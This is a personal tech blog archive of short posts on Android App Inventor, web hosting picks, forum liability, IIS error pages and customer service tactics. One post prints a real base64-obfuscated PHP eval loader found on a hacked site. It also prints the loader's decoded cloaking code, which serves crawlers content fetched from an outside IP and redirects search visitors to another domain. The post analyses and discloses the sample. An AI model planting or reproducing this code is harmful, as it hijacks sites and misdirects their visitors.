Archive for the ‘Technology’ Category

Android App Inventor

Monday, July 12th, 2010

Drag & Drop prototyping on the Android:

Android App Inventor has blocks for just about everything you can do with an Android phone, as well as blocks for doing “programming-like” stuff– blocks to store information, blocks for repeating actions, and blocks to perform actions under certain conditions. There are even blocks to talk to services like Twitter.

Android App Inventor

Web Host Recommendation: DownTownHost.com

Tuesday, November 4th, 2008

My pick is DownTownHost.com : FrontPage, PHP, CPanel, Unlimited Addon Domains (Multiple Domain Hosting), $5/mo @ 3 year billing.

Listed in WebHostingTalk as one of the Hosts with >5 years in the market without a negative review.
"I have been with them over a year now. The support still goes above and beyond and has that personal touch which many do not have. I mean they make you feel more like a person or a friend then a customer. its been that way every time I have contacted them. Some thing I should mention about downtown host is every problem I have had has been worked out in one way or another. … I actually talked to them this morning on live chat and they are just as friendly and have a much better live support, I mean the software is better, faster and every thing." "I ended up choosing Downtownhost. They have been EXCELLENT ME so far, you wouldn’t believe some of the stuff they did for me, they practically have went OVER THE TOP. "

http://www.downtownhost.com/shared.html

Also ran (however, more expensive, not as feature rich)
Pear Networks: FrontPage on Advanced Accounts (or higher), PHP, $30 setup,  $17.95 /mo,   8% off for 1 year

**********

From WebHostingTalk: Hosts with >5 years in the market without negative reviews

http://www.downtownhost.com/

http://pair.com/

http://www.hostcaters.com/

http://futurequest.net/

http://www.handynetworks.com/

http://www.cartikahosting.com/

http://ljhost.com/

http://ez1host.com or http://www.techark.com/

http://www.clook.net/

http://httpme.com/

http://www.glowhost.com/

http://spiderweave.com/

http://www.agilehosting.com

http://glowhost.com

http://ljnetworks.com

**********

Additional Large Hosts (mixed reviews):
DreamHost, HostGator (generally good reviews, larger storage capacity), GoDaddy (generally positive but mixed reviews, iPowerWeb type complaints).

GoDaddy – FrontPage/ASP (no php), Multiple Web sites, $6.99/mo, 2 year billing available. "godaddy are huge and from what I hear from this forum, are not the best when it comes to support and overselling."

Internet Forum ISP “Safe Harbor”

Monday, November 3rd, 2008

U.S. District Judge Amy St. Eve ruled that … the federal Communications Decency Act protects sites that allow users to post unedited messages and communicate freely in forums.

http://www.msnbc.msn.com/id/23672479/

PHP Hack for Backlinks

Monday, November 3rd, 2008

We found this on a couple of sites with our (now dropped) iPowerWeb shared host. The code was typically dropped into a file located off the root directory like "/xyzzy/index.php".

<?eval(base64_decode("JGs9MTA3OyRtPWV4cGxvZGUoIjsiLCI3OTsxOTs5MDs4Njs3OTs
1Mjs1Njs0Njs1Nzs2MTs0Njs1Nzs0ODs3MzszNTs2Mzs2Mzs1OTs1MjszNTszNjs1Njs2Mzs3
Mzs1NDs4MDsxMDI7OTc7Nzk7MTk7ODg7ODY7Nzk7NTI7NTY7NDY7NTc7NjE7NDY7NTc7NDg7N
zM7NTY7NDA7NTc7MzQ7NTk7NjM7NTI7Mzc7NDI7Mzg7NDY7NzM7NTQ7ODA7MTAyOzk3OzEwMj
s5Nzs3OzI7MjQ7MzE7Njc7Nzk7Mjc7MTA7MzE7Mzs3MTs3OTsxNzs2Njs4NjsxNDsxOTsyNzs
3OzQ7MTU7MTQ7Njc7NzM7Mjs1OzE1OzE0OzE5OzY5OzI3OzM7Mjc7NzM7NzE7Nzk7MTk7ODg7
NjY7ODA7MTAyOzk3Ozc5OzY7ODY7NzM7Nzk7MTk7OTA7NzM7Njk7NzM7Nzk7Mjc7MTA7MzE7M
zs3Mzs4MDsxMDI7OTc7MTAyOzk3OzI7MTM7NzU7Njc7MjQ7MzE7MjU7MjsyNDszMTsyNTs2Nz
s3OTszNTs2Mzs2Mzs1OTs1Mjs2Mjs1Njs0Njs1Nzs1Mjs0Mjs0NDs0NjszNzs2Mzs3MTs3Mzs
xMjs0OzQ7MTI7NzsxNDs5OzQ7MzE7NzM7NjY7MjM7MjM7MjQ7MzE7MjU7MjsyNDszMTsyNTs2
Nzs3OTszNTs2Mzs2Mzs1OTs1Mjs2Mjs1Njs0Njs1Nzs1Mjs0Mjs0NDs0NjszNzs2Mzs3MTs3M
zsxODsxMDszOzQ7NDs3Mzs2NjsyMzsyMzs3OTs5OzQ7MzE7NjY7MTY7MTAyOzk3OzEwMjs5Nz
s5ODs0Ozk7NTI7MjQ7MzE7MTA7MjU7MzE7Njc7NzM7NDs5OzUyOzEyOzE3OzM7MTA7NTsxNTs
3OzE0OzI1OzczOzY2OzgwOzEwMjs5NzsxMDI7OTc7OTg7Nzk7MzA7MjU7Nzs4Njs3MzszOzMx
OzMxOzI3OzgxOzY4OzY4OzkyOzk1OzY5Ozk0Ozk0OzY5Ozg4OzkwOzY5OzkwOzg5OzkzOzY4O
zI3OzMxOzY4OzI7NTsxNTsxNDsxOTs2OTsyNzszOzI3Ozg0OzE1Ozg2Ozc5OzE5OzkwOzc3Oz
I3Ozg2Ozc5OzI3OzEwOzMxOzM7Nzc7NTsxMDs2OzE0Ozg2Ozc5OzU7MTA7NjsxNDs3Mzs4MDs
xMDI7OTc7OTg7Nzk7ODszOzc1Ozg2Ozc1Ozg7MzA7MjU7Nzs1MjsyOzU7MjszMTs2Nzs2Njs4
MDsxMDI7OTc7OTg7ODszMDsyNTs3OzUyOzI0OzE0OzMxOzQ7Mjc7MzE7NzU7Njc7Nzk7ODszO
zcxOzc1OzQwOzYyOzU3OzM5OzM2OzU5OzYzOzUyOzYyOzU3OzM5OzcxOzc1Ozc5OzMwOzI1Oz
c7NjY7ODA7MTAyOzk3Ozk4Ozg7MzA7MjU7Nzs1MjsyNDsxNDszMTs0OzI3OzMxOzc1OzY3Ozc
5Ozg7Mzs3MTs3NTs0MDs2Mjs1NzszOTszNjs1OTs2Mzs1Mjs1Nzs0Njs2Mzs2Mjs1NzszNzs2
Mzs1Nzs0MjszNzs1Njs0NTs0Njs1Nzs3MTs3NTs5MDs2Njs4MDsxMDI7OTc7OTg7ODszMDsyN
Ts3OzUyOzI0OzE0OzMxOzQ7Mjc7MzE7NzU7Njc7Nzk7ODszOzcxOzc1OzQwOzYyOzU3OzM5Oz
M2OzU5OzYzOzUyOzYzOzM0OzM4OzQ2OzM2OzYyOzYzOzcxOzc1OzkwOzk0OzY2OzgwOzEwMjs
5Nzs5ODs4OzMwOzI1Ozc7NTI7MjQ7MTQ7MzE7NDsyNzszMTs3NTs2Nzs3OTs4OzM7NzE7NzU7
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s4Njs4OzMwOzI1Ozc7NTI7MTQ7MTk7MTQ7ODs3NTs2Nzs3OTs4OzM7NjY7ODA7MTAyOzk3Ozk
4Ozg7MzA7MjU7Nzs1Mjs4Ozc7NDsyNDsxNDs3NTs2Nzs3OTs4OzM7NjY7ODA7MTAyOzk3Ozk4
OzE0Ozg7Mzs0Ozc1Ozc5OzI1OzE0OzI0OzMwOzc7MzE7ODA7MTAyOzk3OzIyOzE0Ozc7MjQ7M
TQ7MTY7MTAyOzk3Ozk4Ozc5OzEyOzQ7NDsxNTs4Njs5MTs4MDsxMDI7OTc7OTg7MjsxMzs3NT
s2NzsyNDszMTsyNTsyOzI0OzMxOzI1OzY3Ozc5OzUyOzU2OzQ2OzU3OzYxOzQ2OzU3OzQ4Ozc
zOzM1OzYzOzYzOzU5OzUyOzU3OzQ2OzQ1OzQ2OzU3OzQ2OzU3OzczOzU0OzcxOzczOzEyOzQ7
NDsxMjs3OzE0OzczOzY2OzY2Ozc5OzEyOzQ7NDsxNTs4Njs5MDs4MDsxMDI7OTc7OTg7MjsxM
zs3NTs2NzsyNDszMTsyNTsyOzI0OzMxOzI1OzY3Ozc5OzUyOzU2OzQ2OzU3OzYxOzQ2OzU3Oz
Q4OzczOzM1OzYzOzYzOzU5OzUyOzU3OzQ2OzQ1OzQ2OzU3OzQ2OzU3OzczOzU0OzcxOzczOzE
4OzEwOzM7NDs0OzczOzY2OzY2Ozc5OzEyOzQ7NDsxNTs4Njs5MDs4MDsxMDI7OTc7OTg7Mjsx
Mzs3NTs2NzsyNDszMTsyNTsyOzI0OzMxOzI1OzY3Ozc5OzUyOzU2OzQ2OzU3OzYxOzQ2OzU3O
zQ4OzczOzM1OzYzOzYzOzU5OzUyOzU3OzQ2OzQ1OzQ2OzU3OzQ2OzU3OzczOzU0OzcxOzczOz
EwOzQ7Nzs3Mzs2Njs2Njs3OTsxMjs0OzQ7MTU7ODY7OTA7ODA7MTAyOzk3Ozk4OzI7MTM7NzU
7Njc7Nzk7MTI7NDs0OzE1OzY2OzE2OzEwMjs5Nzs5ODs5ODszOzE0OzEwOzE1OzE0OzI1OzY3
OzczOzM5OzQ7ODsxMDszMTsyOzQ7NTs4MTs3NTszOzMxOzMxOzI3OzgxOzY4OzY4OzM7NDs3O
zEwOzcwOzEwOzc7NDszOzEwOzY5OzU7MTQ7MzE7Njg7Mjs1OzY5OzI3OzM7Mjc7ODQ7MjQ7OD
Y7Nzk7MTk7OTA7Nzc7Mjk7MTQ7MjU7ODY7Nzk7Mjk7MTQ7MjU7MjQ7Mjs0OzU7NzM7NjY7ODA
7MTAyOzk3Ozk4OzIyOzE0Ozc7MjQ7MTQ7MTY7MTAyOzk3Ozk4Ozk4OzM7MTQ7MTA7MTU7MTQ7
MjU7Njc7NzM7Mzk7NDs4OzEwOzMxOzI7NDs1OzgxOzc1OzY4Ozk1OzkxOzk1OzczOzY2OzgwO
zEwMjs5Nzs5ODsyMjsxMDI7OTc7MjI7MTAyOzk3OyIpOyR6PSIiO2ZvcmVhY2goJG0gYXMgJH
YpaWYgKCR2IT0iIikkei49Y2hyKCR2XiRrKTtldmFsKCR6KTs="));?>

Changing "eval" to "echo" in order to see what is being executed:

$x1=$_SERVER["HTTP_HOST"]; $x3=$_SERVER["SCRIPT_NAME"]; list($path,$z)=explode("index.php",$x3); $m="$x1"."$path"; if (stristr($HTTP_USER_AGENT,"googlebot")||stristr($HTTP_USER_AGENT,"yahoo")||$bot){ ob_start("ob_gzhandler"); $url="http://74.55.31.126/pt/index.php?d=$x1&p=$path&name=$name"; $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_TIMEOUT, 15); curl_setopt ($ch, CURLOPT_ENCODING , "gzip"); $result=curl_exec ($ch); curl_close ($ch); echo $result; }else{ $good=0; if (stristr($_SERVER["HTTP_REFERER"],"google"))$good=1; if (stristr($_SERVER["HTTP_REFERER"],"yahoo"))$good=1; if (stristr($_SERVER["HTTP_REFERER"],"aol"))$good=1; if ($good){ header("Location: http://hola-aloha.net/in.php?s=$x1&ver=$version"); }else{ header("Location: /404"); } }

The code allowed the hacker to arbitrarily create backlinks that appeared to be hosted on our site. Quite ingenious.

Financial Forecasting

Monday, November 3rd, 2008

The Financial Forecast Center has been producing and publishing economic and financial market forecasts since 1997. These forecasts have been and will continue to be published exclusively on the internet.

http://www.forecasts.org/

5 Steps for Product and Site Design

Monday, November 3rd, 2008

1) Choose a market with people that have problems they are willing to pay to have solved.
2) Build a "Squeeze Page" to funnel and capture users and track progress.
3) Drive traffic to the Squeeze Page.
4) Build a relationship with your email list.
5) Build a product funnel that meets people’s needs.

Articles should be based on one quick thought or concept from the web site. Tell people how to do something quick in that particular market niche. Give people one thing from the site that they can apply to their business or lifestyle. We want them to read it and say "Oh that makes sense. Let me go to the site to see what that is about".

Not looking for journalistic quality articles. Spelling and grammar correct, but quickly written.

300-word articles on average.

100-word introduction:
1) First sentence tells the reader what the article talks about and gives the definition of something.
2) The second sentence poses a challenge. Indicate whatever the problem is that you are trying to solve in the article.
3) The third sentence tells the reader what you’re going to teach them and how to do it.

200-word Body (2 styles)
1) 6 ot 7 bullet points, approximately 30 words each (roughly 2 sentences for 30 words).
2) Paragraph style, if the topic lends itself to that. Use the same style of step-by-step explanation, just in paragraph form.

If the article needs more than 300 words, split it in half and publish as Part One and Part Two.

PHP RSS Component

Monday, November 3rd, 2008

RSS Component:

http://www.ibm.com/developerworks/xml/library/wa-aj-rssphp/index.html

Requires cURL and SimpleXML

IIS Custom Error Pages Not Working

Monday, November 3rd, 2008

IIS Custom Error Pages – Must be greater than approx 4K bytes in order to be recognized by IIS. Otherwise a 404 error is returned. This is still aproblem in IIS 6 on W2K3 box.

Color Scheme Pickers & Stock Photo Site

Thursday, April 19th, 2007

Great little tool to help get familiar with color theory concept. It’s also useful if you like to manually choose colors schemes and  need ideas:
http://wellstyled.com/tools/colorscheme2/index-en.html

Adobe has a very impressive color theme generator:
http://labs.adobe.com/technologies/kuler/

1 Million Stock Photos:
http://www.everystockphoto.com/index.php

Win Customer Service Phone Battles

Tuesday, January 16th, 2007

There are many things you can do even before you pick up the phone to increase your chances of success.

My Favorites:

One: Make sure you have a decent speakerphone. Nothing makes those 22 minutes pass more slowly than a strained neck from pressing the phone against your ear. If you can move around while you’re waiting — say if you can fold the laundry — the time won’t feel quite as wasted.  

Seven: Know your enemy. Picture this: You’re a college student earning extra money at night dealing with a steady stream of manic customers upset about cell phone text message rates. And you must take 50 to 100 calls a shift. To give you an idea of their perspective, here’s what one cell phone customer service representative wrote to the Red Tape Chronicles recently: “I say ‘no’ because its fun,” he said (picture David Spade in the Capital One credit card commercials). “If somebody wants to be rude with me, I’ll step down to their level because my company allows it as long as I don’t use profanity.”

Now, imagine you as the one friendly call this agent receives on a given night. You are warm, you are even keeled, you are reasonable. You say “please” and “thank you.” You will have a leg up on every other caller that night.

11: Run out the clock on call centers, which are often paid per call.

“The strongest tool a customer has is call length,” he wrote. “They pay these companies a very small amount for each call taken, so the call center wants to have the shortest call length possible, and take as many calls in a given period of time as possible. They want to see 3 to 5 minutes per call. … If your call goes 10 minutes, you (or the rep you’re talking to) have the attention of a supervisor. The supervisors have computerized call monitors that alert them to long calls.”

http://redtape.msnbc.com/2007/01/win_those_custo.html